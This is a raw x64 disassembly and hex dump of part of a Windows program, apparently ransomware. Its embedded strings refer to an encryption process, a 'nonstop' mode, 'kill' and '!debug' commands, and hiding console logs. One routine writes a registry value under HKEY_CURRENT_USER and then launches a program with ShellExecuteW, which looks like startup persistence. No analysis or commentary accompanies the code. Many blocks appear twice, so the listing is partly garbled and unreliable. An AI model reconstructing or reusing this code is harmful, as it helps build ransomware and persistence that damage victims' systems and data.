004393e2call fn_40dc90
004393e7test eax, eax
004393e9je 0x439403
004393ebmov rcx, [rbp+48]
004393eflea rdx, [rip+1142]
004393f6call fn_40dc90
004393fbtest eax, eax
004393fdjne 0x4392d5
00439403
00439403loc_439403:
00439403mov rax, [rip+0x2ac16]
0043940amov [rax], 1
0043940d
0043940dloc_43940d:
0043940dmov rcx, [rbp+56]
00439411lea rdx, [rip+1124]
00439418call fn_40dc90
0043941dtest eax, eax
0043941fjne 0x4394ae
00439425mov rcx, [rip+0x2ab24]
0043942clea rdx, [rip+1121]
00439433call fn_4080c0
00439438mov rcx, rax
0043943bcall fn_408220
00439440call fn_405a40
00439445mov rcx, [rip+0x2ac64]
0043944clea rdx, [rbp+48]
00439450call fn_407750
00439455mov rcx, [rip+0x2ac54]
0043945ccall fn_4078c0
00439461call fn_405a40
00439466mov rcx, [rbp+48]
0043946alea rdx, [rip+1003]
00439471call fn_40dc90
00439476test eax, eax
00439478je 0x439492
0043947amov rcx, [rbp+48]
0043947elea rdx, [rip+999]
00439485call fn_40dc90
0043948atest eax, eax
0043948cjne 0x4392d5
00439492
00439492loc_439492:
00439492mov rax, [rip+0x2ab87]
00439499mov [rax+1], 1
0043949dcall fn_439260
004394a2call GetCurrentProcessId
004394a7mov ecx, eax
004394a9call fn_4389b0
004394ae
004394aeloc_4394ae:
004394aemov rcx, [rbp+56]
004394b2lea rdx, [rip+1091]
004394b9call fn_40dc90
004394betest eax, eax
004394c0jne 0x43957d
004394c6cmp [rip+0x37263], 0
004394cdje 0x4394f1
004394cfmov rcx, [rip+0x2aa7a]
004394d6lea rdx, [rip+1083]
004394ddcall fn_4080c0
004394e2mov rcx, rax
004394e5call fn_408220
004394eacall fn_405a40
004394efjmp 0x439511
004394f1
004394f1loc_4394f1:
004394f1mov rcx, [rip+0x2aa58]
004394f8lea rdx, [rip+1237]
004394ffcall fn_4080c0
00439504mov rcx, rax
00439507call fn_408220
0043950ccall fn_405a40
00439511
00439511loc_439511:
00439511mov rcx, [rip+0x2ab98]
00439518lea rdx, [rbp+48]
0043951ccall fn_407750
00439521mov rcx, [rip+0x2ab88]
00439528call fn_4078c0
0043952dcall fn_405a40
00439532mov rcx, [rbp+48]
00439536lea rdx, [rip+799]
0043953dcall fn_40dc90
00439542test eax, eax
00439544je 0x43955e
00439546mov rcx, [rbp+48]
0043954alea rdx, [rip+795]
00439551call fn_40dc90
00439556test eax, eax
00439558jne 0x4392d5
0043955e
0043955eloc_43955e:
0043955ecall FreeConsole
00439563call fn_439260
00439568mov [rip+0x371c1], 0
0043956fmov rax, [rip+0x2aa4a]
00439576mov [rax+308], 0
0043957d
0043957dloc_43957d:
0043957dcmp [rbp+56], 0
00439582je 0x4395e5
00439584mov rcx, [rbp+56]
00439588lea rdx, [rip+293]
0043958fcall fn_40dc90
00439594test eax, eax
00439596je 0x4395e5
00439598mov rcx, [rbp+56]
0043959clea rdx, [rip+729]
004395a3call fn_40dc90
004395a8test eax, eax
004395aaje 0x4395e5
004395acmov rcx, [rbp+56]
004395b0lea rdx, [rip+837]
004395b7call fn_40dc90
004395bctest eax, eax
004395beje 0x4395e5
004395c0mov rcx, [rip+0x2a989]
004395c7lea rdx, [rip+1170]
004395cecall fn_4080c0
004395d3mov rcx, rax
004395d6call fn_408220
004395dbcall fn_405a40
004395e0jmp 0x4392d5
004395e5
004395e5loc_4395e5:
004395e5cmp [rip+0x37144], 0
004395ecje 0x439609
004395eelea rcx, [rip+0x36e3b]
004395f5xor edx, edx
004395f7call fn_4080c0
004395fcmov rcx, rax
004395ffcall fn_408220
00439604call fn_405a40
00439609
00439609loc_439609:
00439609nop
0043960a
0043960aloc_43960a:
0043960alea rcx, [rbp+48]
0043960emov edx, 2
00439613call fn_40bdd0
00439618lea rsp, [rbp+64]
0043961cpop rbp
0043961dret
004392a0
004392a0fn_4392a0:
004392a0push rbp
004392a1sub rsp, 64
004392a5mov rbp, rsp
004392a8mov [rbp+47], cl
004392abmov [rbp+56], 0
004392b3mov [rbp+48], 0
004392bbnop
004392bcmovzx rax, [rbp+47]
004392c1test al, al
004392c3jne 0x4392d5
004392c5mov rax, [rip+0x2ad54]
004392cccmp [rax], 0
004392cfjne 0x43960a
004392d5
004392d5loc_4392d5:
004392d5mov rcx, [rip+0x2ac74]
004392dclea rdx, [rip+869]
004392e3call fn_4080c0
004392e8mov rcx, rax
004392ebcall fn_408220
004392f0call fn_405a40
004392f5mov rcx, [rip+0x2adb4]
004392fclea rdx, [rbp+56]
00439300call fn_407750
00439305mov rcx, [rip+0x2ada4]
0043930ccall fn_4078c0
00439311call fn_405a40
00439316mov rcx, [rbp+56]
0043931alea rdx, [rip+915]
00439321call fn_40dc90
00439326test eax, eax
00439328jne 0x43940d
0043932ecmp [rip+0x373fb], 0
00439335jne 0x439403
0043933bmov rcx, [rip+0x2ac0e]
00439342xor edx, edx
00439344call fn_4080c0
00439349mov rcx, rax
0043934ccall fn_408220
00439351call fn_405a40
00439356mov rcx, [rip+0x2abf3]
0043935dlea rdx, [rip+876]
00439364call fn_4080c0
00439369mov rcx, rax
0043936ccall fn_408220
00439371call fn_405a40
00439376mov rcx, [rip+0x2abd3]
0043937dlea rdx, [rip+940]
00439384call fn_4080c0
00439389mov rcx, rax
0043938ccall fn_408220
00439391call fn_405a40
00439396mov rcx, [rip+0x2abb3]
0043939dlea rdx, [rip+1108]
004393a4call fn_4080c0
004393a9mov rcx, rax
004393accall fn_408220
004393b1call fn_405a40
004393b6mov rcx, [rip+0x2acf3]
004393bdlea rdx, [rbp+48]
004393c1call fn_407750
004393c6mov rcx, [rip+0x2ace3]
004393cdcall fn_4078c0
004393d2call fn_405a40
004393d7mov rcx, [rbp+48]
004393dblea rdx, [rip+1146]
004393e2call fn_40dc90
004393e7test eax, eax
004393e9je 0x439403
004393ebmov rcx, [rbp+48]
004393eflea rdx, [rip+1142]
004393f6call fn_40dc90
004393fbtest eax, eax
004393fdjne 0x4392d5
00439403
00439403loc_439403:
00439403mov rax, [rip+0x2ac16]
0043940amov [rax], 1
0043940d
0043940dloc_43940d:
0043940dmov rcx, [rbp+56]
00439411lea rdx, [rip+1124]
00439418call fn_40dc90
0043941dtest eax, eax
0043941fjne 0x4394ae
00439425mov rcx, [rip+0x2ab24]
0043942clea rdx, [rip+1121]
00439433call fn_4080c0
00439438mov rcx, rax
0043943bcall fn_408220
00439440call fn_405a40
00439445mov rcx, [rip+0x2ac64]
0043944clea rdx, [rbp+48]
00439450call fn_407750
00439455mov rcx, [rip+0x2ac54]
0043945ccall fn_4078c0
00439461call fn_405a40
00439466mov rcx, [rbp+48]
0043946alea rdx, [rip+1003]
00439471call fn_40dc90
00439476test eax, eax
00439478je 0x439492
0043947amov rcx, [rbp+48]
0043947elea rdx, [rip+999]
00439485call fn_40dc90
0043948atest eax, eax
0043948cjne 0x4392d5
00439492
00439492loc_439492:
00439492mov rax, [rip+0x2ab87]
00439499mov [rax+1], 1
0043949dcall fn_439260
004394a2call GetCurrentProcessId
004394a7mov ecx, eax
004394a9call fn_4389b0
004394ae
004394aeloc_4394ae:
004394aemov rcx, [rbp+56]
004394b2lea rdx, [rip+1091]
004394b9call fn_40dc90
004394betest eax, eax
004394c0jne 0x43957d
004394c6cmp [rip+0x37263], 0
004394cdje 0x4394f1
004394cfmov rcx, [rip+0x2aa7a]
004394d6lea rdx, [rip+1083]
004394ddcall fn_4080c0
004394e2mov rcx, rax
004394e5call fn_408220
004394eacall fn_405a40
004394efjmp 0x439511
004394f1
004394f1loc_4394f1:
004394f1mov rcx, [rip+0x2aa58]
004394f8lea rdx, [rip+1237]
004394ffcall fn_4080c0
00439504mov rcx, rax
00439507call fn_408220
0043950ccall fn_405a40
00439511
00439511loc_439511:
00439511mov rcx, [rip+0x2ab98]
00439518lea rdx, [rbp+48]
0043951ccall fn_407750
00439521mov rcx, [rip+0x2ab88]
00439528call fn_4078c0
0043952dcall fn_405a40
00439532mov rcx, [rbp+48]
00439536lea rdx, [rip+799]
0043953dcall fn_40dc90
00439542test eax, eax
00439544je 0x43955e
00439546mov rcx, [rbp+48]
0043954alea rdx, [rip+795]
00439551call fn_40dc90
00439556test eax, eax
00439558jne 0x4392d5
0043955e
0043955eloc_43955e:
0043955ecall FreeConsole
00439563call fn_439260
00439568mov [rip+0x371c1], 0
0043956fmov rax, [rip+0x2aa4a]
00439576mov [rax+308], 0
0043957d
0043957dloc_43957d:
0043957dcmp [rbp+56], 0
00439582je 0x4395e5
00439584mov rcx, [rbp+56]
00439588lea rdx, [rip+293]
0043958fcall fn_40dc90
00439594test eax, eax
00439596je 0x4395e5
00439598mov rcx, [rbp+56]
0043959clea rdx, [rip+729]
004395a3call fn_40dc90
004395a8test eax, eax
004395aaje 0x4395e5
004395acmov rcx, [rbp+56]
004395b0lea rdx, [rip+837]
004395b7call fn_40dc90
004395bctest eax, eax
004395beje 0x4395e5
004395c0mov rcx, [rip+0x2a989]
004395c7lea rdx, [rip+1170]
004395cecall fn_4080c0
004395d3mov rcx, rax
004395d6call fn_408220
004395dbcall fn_405a40
004395e0jmp 0x4392d5
004395e5
004395e5loc_4395e5:
004395e5cmp [rip+0x37144], 0
004395ecje 0x439609
004395eelea rcx, [rip+0x36e3b]
004395f5xor edx, edx
004395f7call fn_4080c0
004395fcmov rcx, rax
004395ffcall fn_408220
00439604call fn_405a40
00439609
00439609loc_439609:
00439609nop
0043960a
0043960aloc_43960a:
0043960alea rcx, [rbp+48]
0043960emov edx, 2
00439613call fn_40bdd0
00439618lea rsp, [rbp+64]
0043961cpop rbp
0043961dret
004392a0
0043961e
0043961e 48 90 H.
0043961e 48 90 H.
00439620
00439620fn_439620:
00439620push rbp
00439621sub rsp, 32
00439625mov rbp, rsp
00439628lea rcx, [rdx+48]
0043962cmov edx, 2
00439631call fn_40bdd0
00439636lea rsp, [rbp+32]
0043963apop rbp
0043963bret
00439620
00439620fn_439620:
00439620push rbp
00439621sub rsp, 32
00439625mov rbp, rsp
00439628lea rcx, [rdx+48]
0043962cmov edx, 2
00439631call fn_40bdd0
00439636lea rsp, [rbp+32]
0043963apop rbp
0043963bret
00439620
0043963c
0043963c b0 04 02 00 ....
00439640 ff ff ff ff 2f 00 00 00 50 00 72 00 65 00 73 00 ..../...P.r.e.s.
00439650 73 00 20 00 45 00 4e 00 54 00 45 00 52 00 20 00 s. .E.N.T.E.R. .
00439660 74 00 6f 00 20 00 63 00 6f 00 6e 00 74 00 69 00 t.o. .c.o.n.t.i.
00439670 6e 00 75 00 65 00 20 00 6f 00 72 00 20 00 65 00 n.u.e. .o.r. .e.
00439680 6e 00 74 00 65 00 72 00 20 00 74 00 68 00 65 00 n.t.e.r. .t.h.e.
00439690 20 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 .c.o.m.m.a.n.d.
004396a0 2e 00 2e 00 2e 00 00 00 b0 04 02 00 ff ff ff ff ................
004396b0 07 00 00 00 6e 00 6f 00 6e 00 73 00 74 00 6f 00 ....n.o.n.s.t.o.
004396c0 70 00 00 00 b0 04 02 00 ff ff ff ff 28 00 00 00 p...........(...
004396d0 59 00 6f 00 75 00 20 00 6e 00 6f 00 74 00 20 00 Y.o.u. .n.o.t. .
004396e0 65 00 6e 00 61 00 62 00 6c 00 65 00 20 00 73 00 e.n.a.b.l.e. .s.
004396f0 61 00 76 00 65 00 20 00 6c 00 6f 00 67 00 73 00 a.v.e. .l.o.g.s.
00439700 20 00 74 00 6f 00 20 00 66 00 69 00 6c 00 65 00 .t.o. .f.i.l.e.
00439710 20 00 6f 00 70 00 74 00 69 00 6f 00 6e 00 2e 00 .o.p.t.i.o.n...
00439720 00 00 00 00 b0 04 02 00 ff ff ff ff 5d 00 00 00 ............]...
00439730 49 00 66 00 20 00 79 00 6f 00 75 00 20 00 65 00 I.f. .y.o.u. .e.
00439740 6e 00 74 00 65 00 72 00 20 00 59 00 20 00 63 00 n.t.e.r. .Y. .c.
00439750 6f 00 6d 00 6d 00 61 00 6e 00 64 00 20 00 74 00 o.m.m.a.n.d. .t.
00439760 68 00 65 00 6e 00 20 00 79 00 6f 00 75 00 20 00 h.e.n. .y.o.u. .
00439770 63 00 61 00 6e 00 27 00 74 00 20 00 72 00 65 00 c.a.n.'.t. .r.e.
00439780 61 00 64 00 20 00 6c 00 6f 00 67 00 73 00 20 00 a.d. .l.o.g.s. .
00439790 77 00 68 00 65 00 6e 00 20 00 73 00 6f 00 66 00 w.h.e.n. .s.o.f.
004397a0 74 00 77 00 61 00 72 00 65 00 20 00 69 00 73 00 t.w.a.r.e. .i.s.
004397b0 20 00 66 00 69 00 6e 00 69 00 73 00 68 00 65 00 .f.i.n.i.s.h.e.
004397c0 64 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 d. .e.n.c.r.y.p.
004397d0 74 00 69 00 6f 00 6e 00 20 00 70 00 72 00 6f 00 t.i.o.n. .p.r.o.
004397e0 63 00 65 00 73 00 73 00 2e 00 00 00 b0 04 02 00 c.e.s.s.........
004397f0 ff ff ff ff 2b 00 00 00 41 00 72 00 65 00 20 00 ....+...A.r.e. .
00439800 79 00 6f 00 75 00 20 00 73 00 75 00 72 00 65 00 y.o.u. .s.u.r.e.
00439810 20 00 77 00 61 00 6e 00 74 00 20 00 65 00 6e 00 .w.a.n.t. .e.n.
00439820 61 00 62 00 6c 00 65 00 20 00 6e 00 6f 00 6e 00 a.b.l.e. .n.o.n.
00439830 73 00 74 00 6f 00 70 00 20 00 6d 00 6f 00 64 00 s.t.o.p. .m.o.d.
00439840 65 00 3f 00 20 00 59 00 2f 00 4e 00 3f 00 00 00 e.?. .Y./.N.?...
00439850 b0 04 02 00 ff ff ff ff 01 00 00 00 59 00 00 00 ............Y...
00439860 b0 04 02 00 ff ff ff ff 01 00 00 00 79 00 00 00 ............y...
00439870 b0 04 02 00 ff ff ff ff 04 00 00 00 6b 00 69 00 ............k.i.
00439880 6c 00 6c 00 00 00 00 00 b0 04 02 00 ff ff ff ff l.l.............
00439890 2c 00 00 00 41 00 72 00 65 00 20 00 79 00 6f 00 ,...A.r.e. .y.o.
004398a0 75 00 20 00 73 00 75 00 72 00 65 00 20 00 77 00 u. .s.u.r.e. .w.
004398b0 61 00 6e 00 74 00 20 00 74 00 6f 00 20 00 74 00 a.n.t. .t.o. .t.
004398c0 65 00 72 00 6d 00 69 00 6e 00 61 00 74 00 65 00 e.r.m.i.n.a.t.e.
004398d0 20 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 .p.r.o.c.e.s.s.
004398e0 3f 00 20 00 59 00 2f 00 4e 00 3f 00 00 00 00 00 ?. .Y./.N.?.....
004398f0 b0 04 02 00 ff ff ff ff 06 00 00 00 21 00 64 00 ............!.d.
00439900 65 00 62 00 75 00 67 00 00 00 00 00 b0 04 02 00 e.b.u.g.........
00439910 ff ff ff ff 57 00 00 00 41 00 72 00 65 00 20 00 ....W...A.r.e. .
00439920 79 00 6f 00 75 00 20 00 73 00 75 00 72 00 65 00 y.o.u. .s.u.r.e.
00439930 20 00 77 00 61 00 6e 00 74 00 20 00 74 00 6f 00 .w.a.n.t. .t.o.
00439940 20 00 73 00 74 00 6f 00 70 00 20 00 64 00 65 00 .s.t.o.p. .d.e.
00439950 62 00 75 00 67 00 20 00 6d 00 6f 00 64 00 65 00 b.u.g. .m.o.d.e.
00439960 2c 00 20 00 68 00 69 00 64 00 65 00 20 00 63 00 ,. .h.i.d.e. .c.
00439970 6f 00 6e 00 73 00 6f 00 6c 00 65 00 20 00 6c 00 o.n.s.o.l.e. .l.
00439980 6f 00 67 00 20 00 61 00 6e 00 64 00 20 00 73 00 o.g. .a.n.d. .s.
00439990 74 00 6f 00 70 00 20 00 77 00 72 00 69 00 74 00 t.o.p. .w.r.i.t.
004399a0 65 00 20 00 6c 00 6f 00 67 00 20 00 74 00 6f 00 e. .l.o.g. .t.o.
004399b0 20 00 66 00 69 00 6c 00 65 00 3f 00 20 00 59 00 .f.i.l.e.?. .Y.
004399c0 2f 00 4e 00 3f 00 00 00 b0 04 02 00 ff ff ff ff /.N.?...........
004399d0 3f 00 00 00 41 00 72 00 65 00 20 00 79 00 6f 00 ?...A.r.e. .y.o.
004399e0 75 00 20 00 73 00 75 00 72 00 65 00 20 00 77 00 u. .s.u.r.e. .w.
004399f0 61 00 6e 00 74 00 20 00 74 00 6f 00 20 00 73 00 a.n.t. .t.o. .s.
00439a00 74 00 6f 00 70 00 20 00 64 00 65 00 62 00 75 00 t.o.p. .d.e.b.u.
00439a10 67 00 20 00 6d 00 6f 00 64 00 65 00 20 00 61 00 g. .m.o.d.e. .a.
00439a20 6e 00 64 00 20 00 68 00 69 00 64 00 65 00 20 00 n.d. .h.i.d.e. .
00439a30 63 00 6f 00 6e 00 73 00 6f 00 6c 00 65 00 20 00 c.o.n.s.o.l.e. .
00439a40 6c 00 6f 00 67 00 3f 00 20 00 59 00 2f 00 4e 00 l.o.g.?. .Y./.N.
00439a50 3f 00 00 00 b0 04 02 00 ff ff ff ff 23 00 00 00 ?...........#...
00439a60 49 00 6e 00 76 00 61 00 6c 00 69 00 64 00 65 00 I.n.v.a.l.i.d.e.
00439a70 20 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 .c.o.m.m.a.n.d.
00439a80 2e 00 20 00 50 00 6c 00 65 00 61 00 73 00 65 00 .. .P.l.e.a.s.e.
00439a90 20 00 74 00 72 00 79 00 20 00 61 00 67 00 61 00 .t.r.y. .a.g.a.
00439aa0 69 00 6e 00 2e 00 00 00 cc cc cc cc cc cc cc cc i.n.............
0043963c b0 04 02 00 ....
00439640 ff ff ff ff 2f 00 00 00 50 00 72 00 65 00 73 00 ..../...P.r.e.s.
00439650 73 00 20 00 45 00 4e 00 54 00 45 00 52 00 20 00 s. .E.N.T.E.R. .
00439660 74 00 6f 00 20 00 63 00 6f 00 6e 00 74 00 69 00 t.o. .c.o.n.t.i.
00439670 6e 00 75 00 65 00 20 00 6f 00 72 00 20 00 65 00 n.u.e. .o.r. .e.
00439680 6e 00 74 00 65 00 72 00 20 00 74 00 68 00 65 00 n.t.e.r. .t.h.e.
00439690 20 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 .c.o.m.m.a.n.d.
004396a0 2e 00 2e 00 2e 00 00 00 b0 04 02 00 ff ff ff ff ................
004396b0 07 00 00 00 6e 00 6f 00 6e 00 73 00 74 00 6f 00 ....n.o.n.s.t.o.
004396c0 70 00 00 00 b0 04 02 00 ff ff ff ff 28 00 00 00 p...........(...
004396d0 59 00 6f 00 75 00 20 00 6e 00 6f 00 74 00 20 00 Y.o.u. .n.o.t. .
004396e0 65 00 6e 00 61 00 62 00 6c 00 65 00 20 00 73 00 e.n.a.b.l.e. .s.
004396f0 61 00 76 00 65 00 20 00 6c 00 6f 00 67 00 73 00 a.v.e. .l.o.g.s.
00439700 20 00 74 00 6f 00 20 00 66 00 69 00 6c 00 65 00 .t.o. .f.i.l.e.
00439710 20 00 6f 00 70 00 74 00 69 00 6f 00 6e 00 2e 00 .o.p.t.i.o.n...
00439720 00 00 00 00 b0 04 02 00 ff ff ff ff 5d 00 00 00 ............]...
00439730 49 00 66 00 20 00 79 00 6f 00 75 00 20 00 65 00 I.f. .y.o.u. .e.
00439740 6e 00 74 00 65 00 72 00 20 00 59 00 20 00 63 00 n.t.e.r. .Y. .c.
00439750 6f 00 6d 00 6d 00 61 00 6e 00 64 00 20 00 74 00 o.m.m.a.n.d. .t.
00439760 68 00 65 00 6e 00 20 00 79 00 6f 00 75 00 20 00 h.e.n. .y.o.u. .
00439770 63 00 61 00 6e 00 27 00 74 00 20 00 72 00 65 00 c.a.n.'.t. .r.e.
00439780 61 00 64 00 20 00 6c 00 6f 00 67 00 73 00 20 00 a.d. .l.o.g.s. .
00439790 77 00 68 00 65 00 6e 00 20 00 73 00 6f 00 66 00 w.h.e.n. .s.o.f.
004397a0 74 00 77 00 61 00 72 00 65 00 20 00 69 00 73 00 t.w.a.r.e. .i.s.
004397b0 20 00 66 00 69 00 6e 00 69 00 73 00 68 00 65 00 .f.i.n.i.s.h.e.
004397c0 64 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 d. .e.n.c.r.y.p.
004397d0 74 00 69 00 6f 00 6e 00 20 00 70 00 72 00 6f 00 t.i.o.n. .p.r.o.
004397e0 63 00 65 00 73 00 73 00 2e 00 00 00 b0 04 02 00 c.e.s.s.........
004397f0 ff ff ff ff 2b 00 00 00 41 00 72 00 65 00 20 00 ....+...A.r.e. .
00439800 79 00 6f 00 75 00 20 00 73 00 75 00 72 00 65 00 y.o.u. .s.u.r.e.
00439810 20 00 77 00 61 00 6e 00 74 00 20 00 65 00 6e 00 .w.a.n.t. .e.n.
00439820 61 00 62 00 6c 00 65 00 20 00 6e 00 6f 00 6e 00 a.b.l.e. .n.o.n.
00439830 73 00 74 00 6f 00 70 00 20 00 6d 00 6f 00 64 00 s.t.o.p. .m.o.d.
00439840 65 00 3f 00 20 00 59 00 2f 00 4e 00 3f 00 00 00 e.?. .Y./.N.?...
00439850 b0 04 02 00 ff ff ff ff 01 00 00 00 59 00 00 00 ............Y...
00439860 b0 04 02 00 ff ff ff ff 01 00 00 00 79 00 00 00 ............y...
00439870 b0 04 02 00 ff ff ff ff 04 00 00 00 6b 00 69 00 ............k.i.
00439880 6c 00 6c 00 00 00 00 00 b0 04 02 00 ff ff ff ff l.l.............
00439890 2c 00 00 00 41 00 72 00 65 00 20 00 79 00 6f 00 ,...A.r.e. .y.o.
004398a0 75 00 20 00 73 00 75 00 72 00 65 00 20 00 77 00 u. .s.u.r.e. .w.
004398b0 61 00 6e 00 74 00 20 00 74 00 6f 00 20 00 74 00 a.n.t. .t.o. .t.
004398c0 65 00 72 00 6d 00 69 00 6e 00 61 00 74 00 65 00 e.r.m.i.n.a.t.e.
004398d0 20 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 .p.r.o.c.e.s.s.
004398e0 3f 00 20 00 59 00 2f 00 4e 00 3f 00 00 00 00 00 ?. .Y./.N.?.....
004398f0 b0 04 02 00 ff ff ff ff 06 00 00 00 21 00 64 00 ............!.d.
00439900 65 00 62 00 75 00 67 00 00 00 00 00 b0 04 02 00 e.b.u.g.........
00439910 ff ff ff ff 57 00 00 00 41 00 72 00 65 00 20 00 ....W...A.r.e. .
00439920 79 00 6f 00 75 00 20 00 73 00 75 00 72 00 65 00 y.o.u. .s.u.r.e.
00439930 20 00 77 00 61 00 6e 00 74 00 20 00 74 00 6f 00 .w.a.n.t. .t.o.
00439940 20 00 73 00 74 00 6f 00 70 00 20 00 64 00 65 00 .s.t.o.p. .d.e.
00439950 62 00 75 00 67 00 20 00 6d 00 6f 00 64 00 65 00 b.u.g. .m.o.d.e.
00439960 2c 00 20 00 68 00 69 00 64 00 65 00 20 00 63 00 ,. .h.i.d.e. .c.
00439970 6f 00 6e 00 73 00 6f 00 6c 00 65 00 20 00 6c 00 o.n.s.o.l.e. .l.
00439980 6f 00 67 00 20 00 61 00 6e 00 64 00 20 00 73 00 o.g. .a.n.d. .s.
00439990 74 00 6f 00 70 00 20 00 77 00 72 00 69 00 74 00 t.o.p. .w.r.i.t.
004399a0 65 00 20 00 6c 00 6f 00 67 00 20 00 74 00 6f 00 e. .l.o.g. .t.o.
004399b0 20 00 66 00 69 00 6c 00 65 00 3f 00 20 00 59 00 .f.i.l.e.?. .Y.
004399c0 2f 00 4e 00 3f 00 00 00 b0 04 02 00 ff ff ff ff /.N.?...........
004399d0 3f 00 00 00 41 00 72 00 65 00 20 00 79 00 6f 00 ?...A.r.e. .y.o.
004399e0 75 00 20 00 73 00 75 00 72 00 65 00 20 00 77 00 u. .s.u.r.e. .w.
004399f0 61 00 6e 00 74 00 20 00 74 00 6f 00 20 00 73 00 a.n.t. .t.o. .s.
00439a00 74 00 6f 00 70 00 20 00 64 00 65 00 62 00 75 00 t.o.p. .d.e.b.u.
00439a10 67 00 20 00 6d 00 6f 00 64 00 65 00 20 00 61 00 g. .m.o.d.e. .a.
00439a20 6e 00 64 00 20 00 68 00 69 00 64 00 65 00 20 00 n.d. .h.i.d.e. .
00439a30 63 00 6f 00 6e 00 73 00 6f 00 6c 00 65 00 20 00 c.o.n.s.o.l.e. .
00439a40 6c 00 6f 00 67 00 3f 00 20 00 59 00 2f 00 4e 00 l.o.g.?. .Y./.N.
00439a50 3f 00 00 00 b0 04 02 00 ff ff ff ff 23 00 00 00 ?...........#...
00439a60 49 00 6e 00 76 00 61 00 6c 00 69 00 64 00 65 00 I.n.v.a.l.i.d.e.
00439a70 20 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 .c.o.m.m.a.n.d.
00439a80 2e 00 20 00 50 00 6c 00 65 00 61 00 73 00 65 00 .. .P.l.e.a.s.e.
00439a90 20 00 74 00 72 00 79 00 20 00 61 00 67 00 61 00 .t.r.y. .a.g.a.
00439aa0 69 00 6e 00 2e 00 00 00 cc cc cc cc cc cc cc cc i.n.............
00439ab0
00439ab0Unit40.finalization:
00439ab0push rbp
00439ab1sub rsp, 32
00439ab5mov rbp, rsp
00439ab8nop
00439ab9add [rip+0x36c78], 1
00439ac0cmp [rip+0x36c71], 0
00439ac7jne 0x439add
00439ac9lea rcx, [rip+0x36960]
00439ad0mov rdx, [rip-4535]
00439ad7call fn_40e630
00439adcnop
00439add
00439addloc_439add:
00439addlea rsp, [rbp+32]
00439ae1pop rbp
00439ae2ret
00439ab0
00439ab0Unit40.finalization:
00439ab0push rbp
00439ab1sub rsp, 32
00439ab5mov rbp, rsp
00439ab8nop
00439ab9add [rip+0x36c78], 1
00439ac0cmp [rip+0x36c71], 0
00439ac7jne 0x439add
00439ac9lea rcx, [rip+0x36960]
00439ad0mov rdx, [rip-4535]
00439ad7call fn_40e630
00439adcnop
00439add
00439addloc_439add:
00439addlea rsp, [rbp+32]
00439ae1pop rbp
00439ae2ret
00439ab0
00439ae3
00439ae3 48 8d 44 20 00 48 8d 04 05 00 00 00 00 H.D .H.......
00439ae3 48 8d 44 20 00 48 8d 04 05 00 00 00 00 H.D .H.......
00439af0
00439af0fn_439af0:
00439af0push rbp
00439af1mov rbp, rsp
00439af4mov rsp, rbp
00439af7pop rbp
00439af8ret
00439af0
00439af0fn_439af0:
00439af0push rbp
00439af1mov rbp, rsp
00439af4mov rsp, rbp
00439af7pop rbp
00439af8ret
00439af0
00439af9
00439af9 // align 0x10
00439af9 // align 0x10
00439b00
00439b00Unit40.initialization:
00439b00sub [rip+0x36c31], 1
00439b07cmp [rip+0x36c2a], -1
00439b0eret
00439b00
00439b00Unit40.initialization:
00439b00sub [rip+0x36c31], 1
00439b07cmp [rip+0x36c2a], -1
00439b0eret
00439b00
00439b0f
00439b0f // align 0x10
00439b0f // align 0x10
00439b10
00439b10fn_439b10:
00439b10push rbp
00439b11push rsi
00439b12push rbx
00439b13add rsp, -128
00439b17mov rbp, rsp
00439b1amov [rbp+48], 0
00439b22mov [rbp+56], 0
00439b2amov [rbp+64], 0
00439b32mov [rbp+96], 0
00439b3amov [rbp+72], 0
00439b42mov [rbp+104], 0
00439b4anop
00439b4blea rcx, [rbp+104]
00439b4fmov rax, [rip+0x2a46a]
00439b56mov rdx, [rax+280]
00439b5dlea r8, [rip+436]
00439b64call fn_40d230
00439b69mov rcx, [rbp+104]
00439b6dcall fn_42fe80
00439b72test al, al
00439b74je 0x439cb3
00439b7amov rcx, 0xffffffff80000001
00439b81lea rdx, [rip+438]
00439b88lea r8, [rbp+120]
00439b8ccall RegOpenKeyW
00439b91mov rax, [rip+0x2a428]
00439b98mov rax, [rax+128]
00439b9ftest rax, rax
00439ba2je 0x439ba8
00439ba4mov rax, [rax-8]
00439ba8
00439ba8loc_439ba8:
00439ba8lea rcx, [rbp+80]
00439bacmov rdx, [rip+0x2a40d]
00439bb3mov rdx, [rdx+128]
00439bbamov r8l, eax
00439bbdcall fn_432b30
00439bc2lea rcx, [rbp+96]
00439bc6lea rdx, [rbp+80]
00439bcacall fn_432a70
00439bcflea rcx, [rbp+72]
00439bd3mov rdx, [rbp+96]
00439bd7call fn_40d150
00439bdcmov rcx, [rbp+72]
00439be0call fn_40d180
00439be5mov rsi, rax
00439be8lea rcx, [rbp+64]
00439becmov rax, [rip+0x2a3cd]
00439bf3mov rdx, [rax+280]
00439bfalea r8, [rip+279]
00439c01call fn_40d230
00439c06mov rax, [rbp+64]
00439c0axor ebx, ebx
00439c0ctest rax, rax
00439c0fje 0x439c17
00439c11mov ebx, [rax-4]
00439c14shr ebx, 1
00439c17
00439c17loc_439c17:
00439c17lea rcx, [rbp+56]
00439c1bmov rax, [rip+0x2a39e]
00439c22mov rdx, [rax+280]
00439c29lea r8, [rip+232]
00439c30call fn_40d230
00439c35mov rcx, [rbp+56]
00439c39call fn_40d180
00439c3emov rcx, [rbp+120]
00439c42mov rdx, rsi
00439c45xor r8, r8
00439c48mov r9l, 1
00439c4emov [rsp+32], rax
00439c53add ebx, ebx
00439c55mov [rsp+40], ebx
00439c59call RegSetValueExW
00439c5emov rcx, [rbp+120]
00439c62call RegCloseKey
00439c67lea rcx, [rbp+48]
00439c6bmov rax, [rip+0x2a34e]
00439c72mov rdx, [rax+280]
00439c79lea r8, [rip+152]
00439c80call fn_40d230
00439c85mov rcx, [rbp+48]
00439c89call fn_40d180
00439c8exor ecx, ecx
00439c90lea rdx, [rip+259]
00439c97mov r8, rax
00439c9axor r9, r9
00439c9dmov [rsp+32], 0
00439ca6mov [rsp+40], 5
00439caecall ShellExecuteW
00439cb3
00439cb3loc_439cb3:
00439cb3nop
00439cb4lea rcx, [rbp+48]
00439cb8mov edx, 4
00439cbdcall fn_40be70
00439cc2lea rcx, [rbp+96]
00439cc6call fn_40bd40
